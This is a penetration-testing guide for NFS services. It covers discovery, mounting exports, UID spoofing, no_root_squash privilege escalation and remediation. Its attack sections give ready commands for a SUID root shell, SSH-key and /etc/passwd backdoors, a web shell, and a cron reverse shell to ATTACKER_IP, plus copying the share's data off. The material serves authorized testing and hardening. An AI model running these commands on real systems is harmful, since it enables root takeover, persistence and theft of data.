

NFS Penetration Test

Target / Scope: `target.com` / `X.X.X.X` (NFS service)

Service: NFS (Network File System) — Default ports **2049** (NFS) and **111** (RPC)

Date: 2025-10-25

1. Executive Summary

This report is a practical, hands-on penetration testing guide for assessing NFS (Network File System) services. It covers discovery, enumeration, attack vectors (no_root_squash, writable exports, UID/GID manipulation), exploitation techniques, post-exploitation actions (persistence, data exfiltration), evidence collection, and remediation recommendations. The goal is to provide a repeatable methodology pentesters can use safely and to help defenders remediate misconfigurations.

Key takeaways:

- Misconfigured NFS exports (no_root_squash, writable shares, exported to) can lead to privilege escalation and persistent backdoors.
 - Older NFS versions (v2/v3) rely on AUTH_SYS and are less secure; NFSv4 supports ACLs and Kerberos and should be preferred.
 - Always confirm authorization and scope before interacting with NFS exports.
-

2. Rules of Engagement & Legal

- **Authorization:** Only test systems with explicit written permission. Document scope: IP ranges, hosts, allowed techniques (e.g., mounting, upload tests), excluded hosts, and time windows.
- **Data handling:** Treat discovered sensitive data carefully and keep it encrypted. Avoid destructive changes unless explicitly authorized.
- **Logging & reporting:** Record command output, timestamps, and tool versions. Sanitize sensitive data for reports.

Pre-test checklist:

- Signed authorization and clear scope.
 - Emergency contact and kill-switch procedure.
 - Agreed list of allowed actions (e.g., write tests, persistence checks).
-

3. Reconnaissance

3.1 Service Discovery (Nmap)

```
# Basic port scan  
nmap -p 111,2049 X.X.X.X
```

```
# Service/version detection and scripts\ n# (use NSE scripts for NFS)  
nmap -sV -p 111,2049 --script rpcinfo,nfs-info X.X.X.X
```

3.2 RPC & Export Discovery

```
# List RPC programs and ports  
rpcinfo -p X.X.X.X
```

```
# List exported NFS shares  
showmount -e X.X.X.X  
showmount -a X.X.X.X  
showmount -d X.X.X.X
```

4. Enumeration

4.1 Export Listing

```
# showmount examples  
showmount -e target.com  
showmount -a target.com  
showmount -d target.com
```

Look for exports exported to `*` (everyone) or to broad CIDR ranges. Note export options (rw/ro, root_squash/no_root_squash, sync/async).

4.2 RPC Information

```
rpcinfo -p target.com  
rpcinfo target.com | grep nfs
```

4.3 Mount & Explore (Client-side)

```
# Create mount point  
mkdir -p /mnt/nfs  
  
# Mount default (auto-detect)  
mount -t nfs target.com:/exported/share /mnt/nfs  
  
# Mount specific NFS version  
mount -t nfs -o vers=3 target.com:/share /mnt/nfs  
mount -t nfs -o vers=4 target.com:/share /mnt/nfs  
  
# Mount with nolock (sometimes necessary)  
mount -t nfs -o nolock target.com:/share /mnt/nfs  
  
# Mount read-only  
mount -t nfs -o ro target.com:/share /mnt/nfs  
  
# Unmount  
umount /mnt/nfs
```

If `no_root_squash` is used, root on the client may have root privileges on the share.

4.4 File & Permission Enumeration

```
# List files with numeric UIDs/GIDs  
ls -lan /mnt/nfs
```

```
# Search for sensitive files
find /mnt/nfs -type f -name "*.conf"
find /mnt/nfs -type f -name "*.key"
find /mnt/nfs -type f -name "*.pem"
find /mnt/nfs -type f -name "*.env"
find /mnt/nfs -type f -iname "*password*"

# Grep for secrets
grep -R "password\|secret\|key\|token" /mnt/nfs || true

# Check for writable directories
find /mnt/nfs -writable -type d -maxdepth 3 -print
```

4.5 UID/GID Enumeration and Mapping

```
# UIDs/GIDs seen as numeric owners
ls -lan /mnt/nfs

# On your client, create a user with the same UID to access files
useradd -u 1000 fakeuser
su - fakeuser
```

5. Attack Vectors & Exploitation

| Important: Only perform write/upload/exploit actions when explicitly authorized.

5.1 No Root Squash — Privilege Escalation

```
# If no_root_squash is enabled and share is writable:
# As root on attacker/client machine
echo test > /mnt/nfs/root_file.txt
ls -la /mnt/nfs/root_file.txt
# If file owner shows root:root and you can create files as root on the share,
```

```
# you can create a SUID shell:
cp /bin/bash /mnt/nfs/rootbash
chmod +s /mnt/nfs/rootbash
```

```
# On victim (if they mount same share), executing rootbash -p will give root shell
```

Impact: Full root on systems that mount the exported share insecurely.

5.2 UID/GID Collisions

```
# If a file is owned by UID 1000 on the share:
ls -lan /mnt/nfs
# Create local user with same UID
useradd -u 1000 impersonator
su - impersonator
# Access files as impersonator
cat /mnt/nfs/sensitive_file.txt
```

Impact: Access to files that appear to belong to specific users on the server.

5.3 Writable Share — Backdoors & Persistence

```
# If /mnt/nfs maps to webroot
cp shell.php /mnt/nfs/var/www/html/shell.php
# If web server serves that path, trigger via HTTP to get RCE/reverse shell

# Install SSH key into root (if /root is on the share and writable)
mkdir -p /mnt/nfs/root/.ssh
cat id_rsa.pub >> /mnt/nfs/root/.ssh/authorized_keys
chmod 600 /mnt/nfs/root/.ssh/authorized_keys

# Write cron persistence (if /etc is writable on the share)
echo "* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" > /mnt/nfs/etc/cron.d/persistent
```

```
# Append backdoor to /etc/passwd (dangerous — destructive; only with permission)
echo "backdoor:x:0:0:Backdoor:/root:/bin/bash" >> /mnt/nfs/etc/passwd
```

Impact: Long-term access, remote code execution, complete system takeover.

5.4 Sensitive File Theft & Offline Analysis

```
# Copy entire share for offline analysis
rsync -av /mnt/nfs/ /tmp/exfiltrated_nfs/

# Compress for transport
tar czf nfs_data.tar.gz -C /mnt/nfs .

# Extract credentials and keys
grep -R "password\|secret\|key" /tmp/exfiltrated_nfs || true
```

6. Post-Exploitation

6.1 Enumeration on Compromised Share

- Look for /etc/passwd, /etc/shadow, SSH keys, config files, backups, database dumps (`.sql`), `.env` , `.aws/credentials` .
- Extract credentials and attempt local or lateral use.

```
find /mnt/nfs -type f -iname "*.sql" -o -iname "*.sql.gz" -o -iname "*.env" -o -iname "*passwd*"
```

6.2 Persistence Techniques (Only with explicit authorization)

- SSH authorized_keys insertion (if /root/.ssh is writable).
- Cron jobs in `/etc/cron.d` or `/var/spool/cron` if writable.
- Backdoor binaries placed in commonly executed locations.

6.3 Lateral Movement

- If NFS export is shared with multiple hosts, pivot by placing a backdoor that will run when other hosts access the share.
 - Use harvested credentials from configs to access other services (SSH, databases, cloud credentials).
-

7. Detection & Evidence Collection

7.1 Evidence to Collect

- `showmount -e` output with timestamp.
- `rpcinfo -p` output.
- `mount` command output showing NFS mounts on client/victim.
- Directory listings (`ls -lan`) showing numeric UIDs/GIDs and permissions.
- MD5/SHA256 hashes of sensitive files downloaded.
- Screenshots or saved terminal output of commands (sanitized).

7.2 Example Evidence Commands

```
# Timestamped commands
date --iso-8601=seconds
showmount -e X.X.X.X > evidence_showmount.txt
rpcinfo -p X.X.X.X > evidence_rpcinfo.txt
ls -lan /mnt/nfs > evidence_ls.txt
md5sum /mnt/nfs/somefile > evidence_md5.txt
```

8. Risk Assessment & Severity Guidance

- **Critical:** Writable export mounted by privileged systems *and* root squashing disabled — immediate full compromise possible.
- **High:** Writable export containing backups, SSH keys, password files, or webroot directories.

- **Medium:** Exports available to a wide IP range but read-only or limited content.
 - **Low:** Banner or export disclosure only; no sensitive files or write access.
-

9. Remediation Recommendations

Immediate:

- Restrict exports to specific IP addresses and subnets — avoid .
- Enable `root_squash` (the default) unless absolutely required otherwise.
- Make exports read-only where possible.
- Do not place webroot or sensitive system directories on exported NFS shares.
- Monitor mounts and NFS activity with host-based and network monitoring.

Long-term / Strategic:

- Migrate to NFSv4 with Kerberos authentication (`sec=krb5/krb5i/krb5p`) where possible.
 - Ensure least privilege on exported directories and files.
 - Regularly audit exported content and permissions.
 - Use network segmentation — NFS servers should not be broadly reachable.
-

10. Tools & Quick Command Reference

Discovery & RPC:

```
rpcinfo -p target.com
showmount -e target.com
nmap -p 111,2049 --script rpcinfo,nfs-info target.com
```

Mounting & exploration:

```
mkdir -p /mnt/nfs
mount -t nfs target.com:/share /mnt/nfs
mount -t nfs -o vers=3 target.com:/share /mnt/nfs
```



```
mount -t nfs -o vers=4 target.com:/share /mnt/nfs
mount -t nfs -o nolock target.com:/share /mnt/nfs
umount /mnt/nfs
```

File discovery & secrets search:

```
ls -lan /mnt/nfs
find /mnt/nfs -type f -name "*.conf" -o -name "*.key" -o -name "*.pem" -o -name "*.env"
grep -R "password\|secret\|key" /mnt/nfs || true
```

Privilege escalation / persistence (authorized only):

```
# SUID shell
cp /bin/bash /mnt/nfs/rootbash
chmod +s /mnt/nfs/rootbash

# SSH key
mkdir -p /mnt/nfs/root/.ssh
cat id_rsa.pub >> /mnt/nfs/root/.ssh/authorized_keys
chmod 600 /mnt/nfs/root/.ssh/authorized_keys

# Cron persistence
echo "*/5 * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" > /mnt/nfs/etc/cron.d/persistent
```

Exfiltration & analysis:

```
rsync -av /mnt/nfs/ /tmp/exfiltrated_nfs/
tar czf nfs_data.tar.gz -C /mnt/nfs .
```

11. Practical Testing Checklist

1. Confirm authorization & scope.

2. Run `rpcinfo` and `showmount` to identify exports.
 3. Scan with nmap for RPC/NFS services and script outputs.
 4. Mount any readable exports and enumerate files and permissions.
 5. Search for sensitive files and UID/GID mismatches.
 6. If authorized, test write actions (with caution) and check root squashing behavior.
 7. Collect evidence and hashes of sensitive files.
 8. Provide remediation recommendations and re-test after fixes.
-

12. Reporting Snippets & Examples

Quick finding (executive summary):

NFS export target.com:/backup is writable and exported to all hosts (*) with no_root_squash enabled. This allows remote users to create files as root on the share and can lead to full system compromise for hosts that mount this share. Immediate action: restrict exports to trusted hosts, enable root_squash, and remove sensitive directories from exports.

Command evidence snippet:

```
# 2025-10-25T12:00:00+05:30
$ showmount -e target.com
Export list for target.com:
/backup *

$ ls -lan /mnt/nfs
-rw-r--r-- 1 0 0 2345 Oct 25 11:50 secret_config.conf
```